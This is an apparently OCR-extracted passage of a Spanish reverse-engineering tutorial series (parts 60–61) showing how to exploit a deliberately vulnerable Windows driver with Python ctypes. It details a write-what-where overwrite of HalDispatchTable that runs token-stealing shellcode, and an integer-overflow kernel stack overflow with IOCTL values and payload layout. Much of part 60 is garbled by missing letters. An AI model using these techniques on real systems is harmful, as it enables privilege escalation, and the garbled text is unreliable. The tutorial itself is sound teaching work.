Si SMEP estuviera actvado se ieneraría una excepción y no saltaría a nuestro códiio.

Adjunto el script para el que lo quiera probar iiual es bastante lario asi que lo explicaremos en la
parte siiuiente, recuerden que solo va en un tariet Windows 7 de 32 bits.

Hasta la parte siiuiente.


Ricardo Narvaja
60-INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 60
Antes de empezar a explicar el script en Python aclaremos que esta basado en el código en C que esta
en la pagina del driver vulnerable.

hps://github.com/hacssysteam/ acs ysExtremeuulnerable river/tree/master/Exploit

Igual el método es bastante antguoo lo usamos en mi trabajo bastante hace ratoo aunque no usamos
ctypeso por lo cual si hay algún error al usar ctypeso sepan disculpar no es lo que uso cotdianamente.

ueremos el script que como dijimos por ahora solo funciona en w7 de 32 bitso no en maquinas de 64
bits mas adelante lo miraremos en una maquina de 64 bits para adaptarlo al caso.

espues de los imports necesarios entre los cuales esta ctypeso algunas constantes que necesitamoso
clases y funcioneso mas abajo empieza el código principal aquí.

Tenemos el shellcode que es parecido al de el stacs overfow solo cambia el reto aquí es RETN soloo en
el otro era RETN 8o como dijimos aquí no pisamos un return address. Pero si uno tracea ve que para
que retorne del CALL que salta a ejecutar nuestro código se necesita un RETNo ya lo veremos cuando
lo traceemos.

Luego usamos CreateFile como en el caso anterior para abrir el driver y obtener el handle al mismo.

Por supuesto uno debe ir probando paso a paso cada cosa que va haciendo para ver si fallao lo cual si
ocurreo sera posiblemente por algún argumento mal pasado.

Las constantes necesarias están de nidas al inicio.

Es de mencionar que si en vez de importar

import ctypes

Lo hacemos asi

from ctypes import *

Nos ahorraremos de tpear ctypes muchísimas veces ya que por ejemplo escribiríamos.

sizeof(c_int)

En vez de

ctypes.sizeof(ctypes.c_int)

Asi que lo cambie hice un replace de ctypes. por nada y agregue el nuevo import y quedara mas
sencillo.
Ahora sio sigamos.

En el exploit original hay dos llamadas que aquí reemplazamos por otra cosao era asi

ay una llamada a GetProcess eap que nos da un handle para llamar a eapAlloc y allocar un size
determinado.
El problema es que en C hay un casteo ya que hay una estructura de nida y se castea el puntero que
devuelve eapAlloc a que sea del tpo de esa estructura.

Esto es parte del código en C

Ese tpo es un puntero a una estructura de nida.

Esta de nido el tpo de estructura _WRITE_W AT_W ERE y el puntero a la mismao obviamente no
tengo la menor idea de como castear el resultado de eapAlloc a una estructura en ctypeso quizás
haya algún método mas sencilloo yo lo que use nalmente fue.

e nir la estructura en ctypes como una clase que hereda del tpo tructure.

uemos que se de ne una clase que hereda de tructureo en C eran dos campos tpo puntero a un
ULONG y acá para respetar el largo al menos en 32 bits les puse que cada campo es del tpo c_void_p.
que es un puntero a un void.

Es un puntero a algo nos servirá para nuestro caso.


En ctypes entonces para crear lo que es C seria una variable del tpo estructurao aquí se realiza una
instancia a la clase esa.

e esta forma al igual que en Co usando la instancia se podrán manejar los campos

Y leer y guardar valores alli.

uemos que en la consola de Python si ejecuto de nición de la claseo luego hago una instancia de la
mismao puedo leer y escribir valores en los campos sin problemas.

Luego va a tratar de obtener la direccion de la tabla AL dentro de una función propia llamada
Get al ispatchTableo veamos que hace.
uemos que usando GetModule andleA o LoadLibrary saca la imagebase de ntdll y luego la direccion
de la función importada NtQuerySystemInformaton usando GetProcAddress.

Bueno acá viene la parte de la película en que muere el protagonista vamos con calma jeje.

NtQuery ystemInformaton es una api muy versátl para pedir info acerca de móduloso procesoso etc.

Alli nos dice que el bu er para la info que devolverá normalmente debe ser muy grande y no sabemos
cuanto sera su largo.

Asi que llamamos dos veces a la apio la primera le pasamos 0 en lugar del bu er y 0 size y eso nos
debería devolver en el cuarto argumento que es un puntero al size correctoo el largo que realmente
necesita tenero entonces con ese size creamos un bu er y llamamos nuevamente pasándole este
bu er y ahí nos devolverá correctamente la info.

El argumento u es un LONG y usando ctypes.byref se le pasa un puntero a ese valoro alli escribirá el
size correcto que debería tener el bu ero para que no falle la api.

uemos que en la segunda vez que llamamos a la apio tenemos creado un bu er con el size que guardo
en u que lo hallamos con u.value

buf=create_string_buffer(u.value)
Creamos ese bu er con la función de ctypes create_string_bu er pasándole el size hallado y
llamamos por segunda vez a la misma apio ahora con el bu er de size correctoo y el mismo size en
u.value.

El problema es que ese bu er no nos permitrá manejar el resultado que es del tpo estructura
veamos el código en C.

uemos la mismas dos llamadas a la apio la primera pasándole 0 al bu er y su size y devolviendo el size
necesario en ReturnLenght.

uemos que crea el bu er con eapAlloc y que lo castea a un puntero a una estructura de nidao alli
guardara la información pero no solo esoo sino que podrá manejar los campos de dicha estructura.

Alli vemos como usa los campos mas adelanteo asi que si nosotros creamos el bu er y no hacemos
algo maso nos guardara toda esa información en nuestro bu er en brutoo y no podremos trabajar con
los campos como elo habrá que buscar los o set de cada campo que necesitemos a mano y tratar de
leer cada uno por su o set lo cual es muy molesto.

Encima si miramos la estructura a la cual casteo


uemos alli resaltado que tene dos campos el primero Count es un ULONG y el segundo es un campo
Module que es del tpo de otra estructura alli llamada _SYSTEM_MODULE_INFORMATION_ENTRY

Eso no seria tanto problema solo que el [1] al lado de Module signi ca que es un Array de estructuras
de tamaño variable y que tendrá tantas estructuras según el campo 1 Counto o sea que sera un Array
de largo.

Count * _ Y TEM_MO ULE_INFORMATION_ENTRY

Un array de estructuras de largo Counto que ni sabemos cuanto vale.

Aquí realmente si no sos un poco pillo moriste antes de nacer jejeo asi que veamos como se soluciona.

Alli vemos la de nición de las dos estructuras la superior es ja y se de ne tal cual en C con sus tpos
pasados a ctypes.

La segunda en vez de de nirse como una clase se de ne como una función que puede ser llamada con
el argumento del sizeo dentro esta la clase de nida donde con ese valor se crea un array de
estructuras del tpo _ Y TEM_MO ULE_INFORMATION_ENTRY para crearla en runtme.
wintypes.ARRAY (_ Y TEM_MO ULE_INFORMATION_ENTRYonsize))]

e esa forma cuando averigüemos el valor del size llamaremos a la función pasándole ese valoro
creara el array de estructuras con el size correctoo y devolverá el el return la clase creada con ese size.

Luego se crea la instancia a ese claseo sera mas grande que el bu er necesario .Eso es porque usamos
el size total del bu er para crear el Arrayo por lo cual esta instancia sera mucho mas grande que el
bu er necesarioo no importa.

uemos que el bu er real esta creado con el size correcto.o lo cual hará que la api copie correctamente
en el mismo la información de todos los módulos.

Luego con memmove

Copiamos lo que leímos del bu er a la instancia que es mas grande asi que no habrá problemaso
también el campo Count tendremos la cantdad real de estructuras que hay en el array asi que no
importa que haya reservadas de mas y estén vacías ya que trabajaremos solo con la cantdad real que
nos devolvió la api.

O sea que en resumidas cuentas yo cree una instancia con un array que seguro tene un numero mas
grande de estructuraso y luego usare la cantdad correcta de las mismas que es menor a la que
reserve.

uemos que el saca la base y el nombre del primer modulo que esta en la posición 0 del array.
Modules[0] sera la estructura para el primer moduloo Modules[1] para el segundo etc.

Eso nos da la imagebase en sernel de ntsrnlpa.exe y su nombre quizás podría chequearse que si no es
este moduloo siga buscando en el array hasta que lo halleo pero aparentemente siempre es el primero.

uemos que tuve que extraer el nombre ya que nos devuelve el path completo.

uemos que a la misma librería que esta en sernel la carga en user usando LoadLibrary.

Como al ispatchTable es una función exportada saca su direccion en user que pillin.

Luego resta la base en user con la direccion de la función en user y saca el o set que valdrá para
sernel también ya que es la misma librería.
Y luego le suma ese o set a la base que habíamos hallado de la misma librería en sernel con lo cual ya
tenemos la direccion de la tabla en sernel.

Luego devuelve la direccion de la tabla AL en sernel buscada.

Una vez que vuelve le suma 4 que es el largo de un puntero en 32 bits (en 64 bits sumaria 8) ya que
como recordamos era la tabla mas 4 el lugar donde debemos escribir en 32 bits.

Recordemos esto

Asi que ya podemos escribir ahí usando la vulnerabilidad que nos permite escribir donde queremos.
uoy a preparar la estructura que le voy a pasar.

El tenia la estructura

Y yo había creado la clase y instanciado alli.

class _WRITE_W AT_W ERE( tructure):


_ elds_ = [('What'o c_void_p)o
('Where'o c_void_p)]

WriteWhatWhere_inst=_WRITE_W AT_W ERE()

uemos que creo un bu er de largo 2 punteros y los copio en la instancia que es del mismo largo.(no
es necesario estoo pero no importa)

Le doy permiso de ejecución a la direccion donde esta guardada mi shellcode que la hallo con
addressof otra función de ctypes.

Como el What debe haber un puntero a un puntero a nuestro código uso de nuevo addressof.

En Where va la direccion donde va a escribir que es el puntero a la al ispacthTable mas 4.


Luego llamo a eviceIoControl

Alli le paso el puntero a la estructura y el tamaño de la mismao lo cual escribirá donde queremos ya lo
debuggearemos y al nal llamo a NtQueryIntervalPro le para saltar a ejecutar.

Que era la api que desde user permi a llegar al CALL IN IRECTO que saltara a nuestro shellcode.

ebuggemos un poco remotamente el sernel para ver lo que ocurre.

Le pondremos un breaspoint allio cuando lee el bu er que le enviéo la cual es la estructura


WriteWhatWhere_inst.

Le agregue un raw_input para que pare antes de llamar a eviceIoControl.

Arranco el driver con O RLOA ER y ejecuto el script.


Alli veo las direcciones en mi maquinao dentro de la estructura esta el What en 0x1420378 en mi caso
y el Where que seria la tabla al ispatchTable mas 4 esta en 0x8277a3bc.

Atacheo el I A.

Cuando parao al tracear veo que en ECX en mi caso esta la direccion de la estructura completa o sea
0x1420328 si miro alli.

Alli vemos el What y el Where mismo que imprimimos antes.


Acá como estamos en sernel si queremos verlo como dword al apretar la nos va a decir que no
pertenece la memoria a ningún segmentoo que creemos uno.

Podemos buscar la direccion justa del segmento en windbg pero con poner una direccion anterior
funcionara.

Una direccion anterior que termine en ceros anterior el nal lo dejamos en 0x lo arreglara I A
con eso ya podemos cambiar a WOR .

i creo la estructura en I A

Puedo asignarla en el primer campo alli CON ALT mas Q.


Alli esta la estructura y coincide con lo que imprimió el What es el primer campo y vale 0x1420378 y
el Where es el segundo campo y vale 0x8277a3bc en mi caso.

abiamos también que el What era un puntero a un puntero a nuestro shellcode veamos.

En mi caso apunta alli

Y esto apunta a

Alli vemos nuestro shellcode.

espues de crear un segmento pues esta direccion es menor que el inicio del anterior apreto C
Y alli esta el código asi que ahora traceemos desde el lugar donde estábamos.

Llego aquí donde mueve a E I la direccion de la estructura.

Mueve a E I el What y a EBX el Where y los imprime.

Llega alli
Como E I era un puntero a un puntero a mi shellcode al hallar el contenido EAX es solo un puntero a
mi shellcode.

Y lo escribe en el contenido de EBX en la tabla al ispatchTable mas 4.

Pisara ese valoro realmente para que el sistema quede estable despues de ejecutar nuestro shellcode
deberiamos agregar un código que halle de nuevo este valor y lo restaure allio por si el sistema llama
nuevamente y no se produzca un B O pero no lo haremos aquí.
uemos que ahora que lo pisamos quedo apuntando a nuestro shellcode

Podemos poner un breaspoint al inicio de nuestro shellcode

uemos que al darle RUN parara


Eso es porque llamamos desde nuestro script a

windll.ntdll.NtQueryIntervalProfile(0x1337,
byref(Interval))

uemos que el return address nos marca adonde debe volver y que fue llamado de ese call.

Que es el mismo que vimos antes y que llegamos al pisar esa tabla
i cargamos los simbolos con .reload /f y esperamos un rato que se descongele I Ao luego con s
veremos el call stacs completo desde user y veremos que fue llamado desde la api
NtQueryIntervalPro le o ZwQueryIntervalPro le que es lo mismo.

La cuestón es que llegamos al shellcode y como antes robara el Tosen de ystem y veamos si al llegar
al RET vuelve bien.
i vuelve bien si le doy RUN vere la calculadora ystem que lanzo.
Por supuesto esto puede funcionar un rato porque al no restaurar el puntero original puede producir
crasheso igual la idea es ver el método y aprendero ya sabemos que eso puede ocurriro asi que en
ámbitos reales habrá que hacerloo yo ya no tengo ganas jeje.

Bueno como vemos esto funciona en 32 bits y en 64 bits habrá que adaptar bien los tpos de datos
para el casoo por ahora esta bueno practcar con esto.

asta la próxima parte


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 61.
Seguiremos con otro caso en el driver vulnerable, ahora el integer overflow.

Muchos me preguntan porque no analizarlo directamente en C o C++, el tema es que ya están hechos
algunos en c y c++, los metodos son los mismos, por lo tanto portarlos a Python no solo aporta algo
nuevo, si no que también nos hace practicar Python y ctypes que es algo importante.

Para el que los quiere ver aquí esta el código fuente:

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/tree/master/Exploit

Y alli esta compilado, si quieren intentar alguno pueden debuggear y comparar el resultado que van
teniendo en Python con el original, eso ayuda mucho.

Igual nosotros seguiremos en Python y usando ctypes, que aunque un poco mas molesto, permite hacer
casi lo mismo.

Alli tenemos el bloque que nos llevara el IOCTL que triggerea el integer overflow.

Veamos que IOCTL llega alli, al inicio

EAX es 0x22201f
Y para que vaya por el camino correcto EDX que contiene nuestro IOCTL debe ser mas grande que
EAX.

Luego pasa nuestro valor a EAX y le resta 0x222023 y si no es cero le resta 4 mas que queda en ECX
luego del PUSH 4 - POP ECX, si el resultado es cero va al bloque correcto.

IOCTL-0x222023-0x4=0

IOCTL=0x222023+0x4

Python>hex(0x222023+4)
0x222027
Ese IOCTL sera el que llegara al bloque donde se triggerea el Integer Overflow, analicemoslo.

Vemos que al igual que en el caso anterior le pasa dos argumentos a la función, uno la direccion de la
estructura IRP y el otro la de _IO_STACK_LOCATION.

Como ya teníamos importada la estructura _IO_STACK_LOCATION, alli mueve la direccion de inicio


de la misma y empieza a trabajar con sus offsets, el campo 0x10, veamos que es apretando T y
eligiendo la estructura correspondiente.
Vemos

Que son el buffer de entrada y el largo del mismo que le pasamos nosotros, no quiere decir que sea el
largo real.

Si la direccion del buffer que creamos en user no es cero, va a la ultima función donde le pasa ambos el
size y el puntero al buffer user como argumentos.
Alli vemos ambos argumentos, también pone a cero una variable Status y en el stack hay un buffer
llamado KernelBuffer veamos su largo.

Son 512 decimal por 4 ya que cada componente es un dword (dd) asi que el largo total da.

Python>hex(512 *4)
0x800
Y bueno inicializa a cero ese buffer primero escribiendo los primeros 4 bytes aquí con EDI que vale
cero, y luego hace un memset de los 0x7fc bytes restantes sumandole 4 al destination en el LEA para
que escriba a partir del 4 byte en adelante.
También hay una estructura alli veremos para que sirve, IDA la detecto.

Ya veremos que hace, aquí dice esto.

Vemos que cuando chequea el buffer, no usa el valor que pasamos nosotros de size sino 0x800
harcodeado.
Luego imprime los 4 valores el size que le pasamos del buffer de user, el puntero al buffer de user, la
direccion del KernelBuffer y el size del mismo.

Vemos que IDA nos marca que hay un TRY- EXCEPT o sea que si hay una excepción en ese bloque
salta al de abajo, por eso del bloque superior salen tres flechas, dos las normales de la comparación y la
otra del try-except.
Vemos que toma el size que le pase en EBX y lo va a comparar con la constante 0x800 que esta en ESI.

Pero antes a mi size le suma cuatro, y si es mas bajo esta todo bien .
Ya vemos un problema si pasamos como size por ejemplo 0xffffffff al sumarle 4 se producirá el integer
overflow y el resultado sera

Python>hex((0xffffffff+ 4) )
0x100000003L
Si lo recortamos a 32 bits como hace el procesador

Python>hex((0xffffffff+ 4) & 0xffffffff)


0x3L
Nos da 3 y eso es menor que 0x800 aun siendo la comparación unsigned.

Luego toma el size original y le hace SHR o sea que lo divide por 4 teniendo en cuenta el signo, esto lo
realiza porque copiara DWORDS y el indice va de uno en uno, asi el size es el total dividido 4.

Si nuestro size fuera 0xffffffff al dividirlo por 4 daría 0x3FFFFFFF.

Vemos que es un loop donde EDI es el contador


La condición de salida es que EDI no sea mas bajo o sea que sea mas grande o igual para salir, lo cual
si empieza de cero y se va incrementando de a uno, dará bastantes vueltas al loop hasta llegar a
0x3fffffff.

Vemos que tiene otra condición de salida muy conveniente

Si lee del buffer de user que le enviamos un valor 0x0BAD0B0B0 saldrá del loop, lo cual hará que no
rompamos todo con un size negativo, muy buena gente el programador.
Finalmente copia en el buffer de kernel, pivoteando con EDI que es el contador por 4, o sea va
copiando de 4 en 4 bytes.

Luego le suma 4 a la direccion del buffer de user, incrementa EDI, lo guarda en Count y listo eso es
todo, asi que podemos producir un stack overflow controlado con un size grande, y que incluso
podemos salir antes que rompa todo el stack, ya que nos da una forma de salida del loop, manejada por
nosotros.

Con eso podemos pisar el return address sin problemas.

Antes de hacerlo en Python lanzo el ejecutable del exploit para verificar lo que reversee, y como
analizamos usa el IOCTL 0x222027.

Luego llega al bloque


Como vemos alli le pasa el buffer que crea en user, en EDX esta su direccion.

Alli vemos su contenido

Si creo un segmento ya puedo agrupar las Aes tipeando A


Y veo el DWORD de salida por ahí.

Llego a la función que triggerea el Integer Overflow.


Vemos el size 0xFFFFFFFF que le pasa, o sea que realizo el mismo razonamiento que yo.

EAX=3 es menor que 0x800.

Despues del SHR

Lee el contenido del buffer de user y es 0x41414141.


Como no es la constante 0x0BAD0B0B0 de salida lo copia al kernel buffer del stack.

Pongo un breakpoint alli para que pare al terminar de copiar.

Vemos que cuando llega a pisar el return address le pasa un puntero a otro buffer con el shellcode y
como sabemos acá no hay SMEP asi que salta alli a ejecutar el shellcode de steal token.
Una vez que creo el segmento lo hago código con la tecla C y creo la función con CREATE
FUNCTION y se ve mas lindo.

Alli vemos la calculadora system


Ahora la idea es hacer lo mismo nosotros en Python.
Veo que el buffer es de 2088 decimal cuando el elemento es byte, si es dword habrá que multiplicar por
4, yo lo cambie a byte por comodidad.

Python>hex(2088)
0x828
O sea que mi buffer sera 0x828 + la direccion para pisar el return address

Veo que adaptando el script del stack overflow funciona

Le cambio el IOCTL; le pongo el size del user buffer igual a -1, le paso el puntero al user buffer ´para
que pise el return address, en el exploit en C el realizo dos buffer uno para pisar el return address y otro
con el shellcode yo lo metí todo en uno solo.

data= shellcode+ ((0x828 -len(shellcode)) * "A") +


struct.pack("<L",int(buf))+struct.pack("<L",0x0BAD0B0B0 )
Esta el shellcode, luego se rellena con 0x828 menos el largo del shellcode por “A”, luego el puntero a
este mismo buffer que se usa para pisar el return address y el DWORD de salida 0x0BAD0B0B0.

Vemos que en este caso no hubo mayor dificultad ya que el método es similar al del stack overflow,
teniendo en cuenta que si no tuviéramos el dword de salida la cosa se complica, asi que gracias al
programador jeje.
Hasta la parte 62
Ricardo Narvaja

También podría gustarte